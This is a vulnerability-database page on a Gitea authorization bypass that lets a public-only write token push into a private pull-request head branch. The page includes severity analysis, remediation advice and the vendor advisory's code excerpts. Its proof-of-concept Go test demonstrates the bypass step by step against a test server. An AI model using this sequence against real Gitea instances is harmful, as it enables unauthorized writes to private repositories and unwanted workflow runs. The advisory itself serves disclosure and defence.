Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain public-only,write:repository token
-
DeliveryOpen PR from private head into public base repo
-
ExploitPOST /pulls/{index}/update on public base route
-
ExecutionPublic-only check evaluates only public base and passes
-
PersistGitea pushes base commits into private head branch
-
ImpactPrivate repo push workflow (Actions) triggered
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires all of: a valid Gitea API token holding both the public-only and write:repository scopes; the token's underlying user account must have normal write/push permission on the private head branch (ordinary RBAC still gates the push itself); a public base repository the attacker can route through; and an existing GitHub-style pull request (not AGit flow) whose head is the private repository, with the pull-requests unit enabled on the base repo. The limiting factor that contradicts the vendor's PR:N rating is that this is not anonymous access - the attacker must already control a write-scoped token for a user with head-branch write access; the vulnerability is a scope-confinement bypass that lets that token exceed its intended public-only boundary, not a path for an unauthenticated outsider. |
| Impact | The vendor CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H, score 9.1) rates this critical with no privileges required, but the advisory's own Impact section contradicts PR:N: the attacker must already possess a valid public-only,write:repository token for a user who holds normal write permission on the private head branch - verify with vendor, as real exploitation is authenticated, not anonymous. Other signals point to moderate rather than emergency priority: EPSS is only 0.24% (16th percentile), it is NOT in CISA KEV (no confirmed active exploitation), and confidentiality impact is genuinely N - this is an integrity/write primitive, not data theft. No SSVC decision data was provided. Publicly available exploit code exists, raising practical exploitability, but the precondition of an already-privileged account token means this is best treated as a token scope-confinement escape rather than an internet-wide unauthenticated compromise. The A:H the vendor assigned is arguable; the demonstrated effect is integrity plus opportunistic Actions execution. |
| Exploit ScenarioDerived | An attacker who has obtained a user's public-only,write:repository token (for example a leaked CI token believed safe because it is confined to public repos) opens a pull request from that user's private repository into a public base repository, then calls the public /pulls/{index}/update endpoint. Given AV:N/AC:L, this single authenticated request causes Gitea to push the public base commits into the private head branch and, because Actions is enabled there, queue the private repository's push workflow - exactly as the advisory's proof-of-concept observes via a new ActionRun and ActionRunJob. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Aug 14, 2026
Broken authorization in Gitea (self-hosted Git server) versions before 1.27.0 lets a token scoped as public-only,write:repository push commits into a private pull-request head branch it should never touch. Because Gitea only evaluates the public-only restriction against the public base repository named in the route (POST /api/v1/repos/{owner}/{repo}/pulls/{index}/update) and never re-applies it to the private head repository, an attacker holding such a token can force a server-side write into the private repo and, where Actions is enabled, trigger its push workflow. This is CWE-863 incorrect authorization; a publicly available exploit code exists in the vendor advisory, EPSS is low at 0.24%, and it is not listed in CISA KEV.
Earlier versions of this analysis (1)
Broken authorization in Gitea before 1.27.0 lets a token scoped as public-only,write:repository push commits into a PRIVATE repository via the PR head-branch update endpoint, defeating the public-only restriction the token was granted. An attacker holding such a token (for an account with normal write access to the private head branch) uses the public base repo's route POST /api/v1/repos/{owner}/{repo}/pulls/{index}/update to force public base commits into the private head branch - a write the same token is denied when attempted directly. A detailed proof-of-concept is published in the vendor advisory; there is no public exploit identified as actively exploited in the wild.
RemediationAI
Vendor-released patch: 1.27.0 - upgrade Gitea to 1.27.0 or later, which re-applies the public-only token restriction to the pull-request head repository (https://github.com/go-gitea/gitea/security/advisories/GHSA-xxjv-752h-3vp2 and https://github.com/go-gitea/gitea/releases/tag/v1.27.0). Until you can upgrade, audit and revoke any access tokens that combine the public-only scope with write:repository, since only those tokens can trigger the flaw and they are relatively uncommon, making this a low-impact control. As a stronger compensating measure, block POST requests to /api/v1/repos/*/pulls/*/update at a reverse proxy, accepting that this disables the legitimate 'Update branch' API for all users. Where private repositories have Actions enabled, temporarily disable Actions on sensitive private head repositories to prevent attacker-triggered workflow execution, at the cost of pausing legitimate CI on those repos.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gitea attaches its pull-request API routes under a repository route group whose checkTokenPublicOnly() guard inspects only ctx.Repo.Repository, i.e. the base repository identified by the URL. When a PR update is requested, UpdatePullRequest() resolves the PR, loads the head repository, and delegates the push-permission decision to pull_service.IsUserAllowedToUpdate(), which calls isUserAllowedToPushOrForcePushInRepoBranch() against pull.HeadRepo using ordinary account RBAC. That RBAC check answers 'can this user write here' but never asks 'is the active API token permitted to reach this repository', so the public-only token restriction is silently dropped for the private head repo. The update service then builds a reverse PullRequest and calls doMergeAndPush(), producing a real git push into the private head branch. The affected package is pkg:go/code.gitea.io/gitea. The root-cause class, CWE-863 (Incorrect Authorization), is exactly this pattern: a missing secondary authorization on a resource reached indirectly through a permitted entry point.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Requires an authenticated write-scoped token whose user already has head-branch write access, so PR:L not PR:N; impact is a private-repo write (I:H), no data read (C:N), limited availability via triggered Actions (A:L).
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
3DescriptionCVE.org
Summary
Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.
The vulnerable endpoint is:
POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/updateGitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.
As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.
Details
The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.
// routers/api/v1/api.go:1358-1394
m.Group("/pulls", func() {
m.Combo("").Get(repo.ListPullRequests).
Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
m.Get("/pinned", repo.ListPinnedPullRequests)
m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
m.Group("/{index}", func() {
m.Combo("").Get(repo.GetPullRequest).
Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
m.Post("/update", reqToken(), repo.UpdatePullRequest)
m.Get("/commits", repo.GetPullRequestCommits)
m.Get("/files", repo.GetPullRequestFiles)
m.Combo("/merge").Get(repo.IsPullRequestMerged).
Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
m.Group("/reviews", func() {
m.Combo("").
Get(repo.ListPullReviews).
Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
m.Group("/{id}", func() {
m.Combo("").
Get(repo.GetPullReview).
Delete(reqToken(), repo.DeletePullReview).
Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
m.Combo("/comments").
Get(repo.GetPullReviewComments)
m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
m.Post("/undismissals", repo.UnDismissPullReview)
})
})
m.Combo("/requested_reviewers", reqToken()).
Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
})
m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())// routers/api/v1/api.go:1465-1466
}, repoAssignment(), checkTokenPublicOnly())
}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.
The update handler then checks whether the caller can update the PR head branch:
// routers/api/v1/repo/pull.go:1220-1270
pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
if err != nil {
if issues_model.IsErrPullRequestNotExist(err) {
ctx.APIErrorNotFound()
} else {
ctx.APIErrorInternal(err)
}
return
}
if pr.HasMerged {
ctx.APIError(http.StatusUnprocessableEntity, err)
return
}
if err = pr.LoadIssue(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
if pr.Issue.IsClosed {
ctx.APIError(http.StatusUnprocessableEntity, err)
return
}
if err = pr.LoadBaseRepo(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
if err = pr.LoadHeadRepo(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
rebase := ctx.FormString("style") == "rebase"
allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
if err != nil {
ctx.APIErrorInternal(err)
return
}
if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
ctx.Status(http.StatusForbidden)
return
}
// default merge commit message
message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)The service checks the head repository using the user's normal repository permission:
// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
if user == nil {
return false, false, nil
}
if err := pull.LoadBaseRepo(ctx); err != nil {
return false, false, err
}
if err := pull.LoadHeadRepo(ctx); err != nil {
return false, false, err
}
// 1. check whether pull request enabled.
prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
if repo_model.IsErrUnitTypeNotExist(err) {
return false, false, nil // the PR unit is disabled in base repo means no update allowed
} else if err != nil {
return false, false, fmt.Errorf("get base repo unit: %v", err)
}
// 2. only support Github style pull request
if pull.Flow == issues_model.PullRequestFlowAGit {
return false, false, nil
}
// 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
if err != nil {
return false, false, err
}That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.
If allowed, the update service performs a merge/rebase update and pushes into the head repository:
// services/pull/update.go:89-100
reversePR := &issues_model.PullRequest{
BaseRepoID: pr.HeadRepoID,
BaseRepo: pr.HeadRepo,
BaseBranch: pr.HeadBranch,
HeadRepoID: pr.BaseRepoID,
HeadRepo: pr.BaseRepo,
HeadBranch: pr.BaseBranch,
}
_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
return errThe result is a server-side private repository write performed through a public route.
PoC
import (
"encoding/base64"
"fmt"
"net/http"
"net/url"
"testing"
"time"
actions_model "code.gitea.io/gitea/models/actions"
auth_model "code.gitea.io/gitea/models/auth"
repo_model "code.gitea.io/gitea/models/repo"
unit_model "code.gitea.io/gitea/models/unit"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
"code.gitea.io/gitea/modules/gitrepo"
api "code.gitea.io/gitea/modules/structs"
webhook_module "code.gitea.io/gitea/modules/webhook"
repo_service "code.gitea.io/gitea/services/repository"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
onGiteaRun(t, func(t *testing.T, _ *url.URL) {
doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})
baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
Name: "public-pr-update-base",
Description: "public base repository for public-only PR update PoC",
AutoInit: true,
Readme: "Default",
DefaultBranch: "main",
IsPrivate: false,
})
require.NoError(t, err)
headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
BaseRepo: baseRepo,
Name: "private-pr-update-head",
Description: "private head repository for public-only PR update PoC",
SingleBranch: baseRepo.DefaultBranch,
})
require.NoError(t, err)
require.NotNil(t, headRepo)
require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
RepoID: headRepo.ID,
Type: unit_model.TypeActions,
}}, nil))
headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
headBranch := "private-head-update"
testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
OldBranch: baseRepo.DefaultBranch,
NewBranch: headBranch,
}, map[string]string{
"private-head-marker.txt": "private head branch marker",
})
const workflowID = "private-push.yml"
const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
OldBranch: headBranch,
NewBranch: headBranch,
}, map[string]string{
".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
push:
branches:
- %s
jobs:
private-head-job:
runs-on: ubuntu-latest
steps:
- run: echo %s
`, headBranch, workflowSentinel),
})
require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
ID: headRepo.ID,
IsPrivate: true,
}, "is_private"))
headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
require.True(t, headRepo.IsPrivate)
baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})
session := loginUser(t, doer.Name)
publicOnlyToken := getTokenForLoggedInUser(t, session,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeWriteRepository,
)
publicPath := "public-base-injected-into-private.txt"
publicMarker := "FAULT-GITEA-062 public base content reached private head"
createPublicBaseFile := api.CreateFileOptions{
FileOptions: api.FileOptions{
BranchName: baseRepo.DefaultBranch,
Message: "create public marker for private head update",
},
ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
}
req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusCreated)
privatePath := "direct-private-write-should-fail.txt"
directPrivateWrite := api.CreateFileOptions{
FileOptions: api.FileOptions{
BranchName: headBranch,
Message: "direct private write attempt",
},
ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
}
req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusNotFound)
prPayload := map[string]string{
"title": "faultline public-only private head update",
"base": baseRepo.DefaultBranch,
"head": fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
}
req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
AddTokenAuth(publicOnlyToken)
resp := MakeRequest(t, req, http.StatusCreated)
var pr api.PullRequest
DecodeJSON(t, resp, &pr)
require.Equal(t, prPayload["title"], pr.Title)
gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
require.NoError(t, err)
defer gitRepo.Close()
commit, err := gitRepo.GetBranchCommit(headBranch)
require.NoError(t, err)
_, err = commit.GetBlobByPath(publicPath)
require.Error(t, err)
req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusOK)
assert.Eventually(t, func() bool {
return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
}, 5*time.Second, 50*time.Millisecond)
actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
RepoID: headRepo.ID,
WorkflowID: workflowID,
}, unittest.OrderBy("id DESC"))
assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
assert.Equal(t, "push", actionRun.TriggerEvent)
assert.Equal(t, doer.ID, actionRun.TriggerUserID)
assert.NotEmpty(t, actionRun.CommitSHA)
job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)
commit, err = gitRepo.GetBranchCommit(headBranch)
require.NoError(t, err)
blob, err := commit.GetBlobByPath(publicPath)
require.NoError(t, err)
content, err := blob.GetBlobContent(1024)
require.NoError(t, err)
assert.Equal(t, publicMarker, content)
})
}Impact
The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.
Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.
When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.
Executive ViewAI
Gitea versions before 1.27.0 contain an authorization bypass that allows attackers possessing public-only API tokens to write commits into private repositories and trigger CI/CD workflows they should not access. Organizations running self-hosted Gitea with Actions enabled face risks of unauthorized code injection and supply chain compromise through pipeline manipulation. Patching to version 1.27.0 or later is required to close this critical scope-validation gap.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
EUVD-2026-58170
GHSA-xxjv-752h-3vp2
NVD
CVE.org
EPSS
Exploit-DB